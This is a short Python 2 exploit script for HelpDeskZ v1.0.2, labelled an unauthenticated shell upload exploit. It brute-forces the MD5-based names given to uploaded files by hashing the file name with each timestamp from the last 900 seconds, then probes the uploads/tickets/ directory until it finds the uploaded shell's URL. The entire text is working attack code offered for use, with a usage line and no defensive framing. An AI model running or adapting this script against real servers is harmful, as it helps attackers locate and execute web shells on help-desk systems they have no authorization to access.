import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 4:
    print "Usage: {} [baseUrl] [nameOfUploadedFile] [fileExtension]".format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
upload_url = helpdeskzBaseUrl + "uploads/tickets/"
fileName = sys.argv[2]
fileExt = sys.argv[3]
currentTime = int(time.time())

for x in range(0, 900):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = upload_url+md5hash+fileExt
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)

print "Sorry, I did not find anything"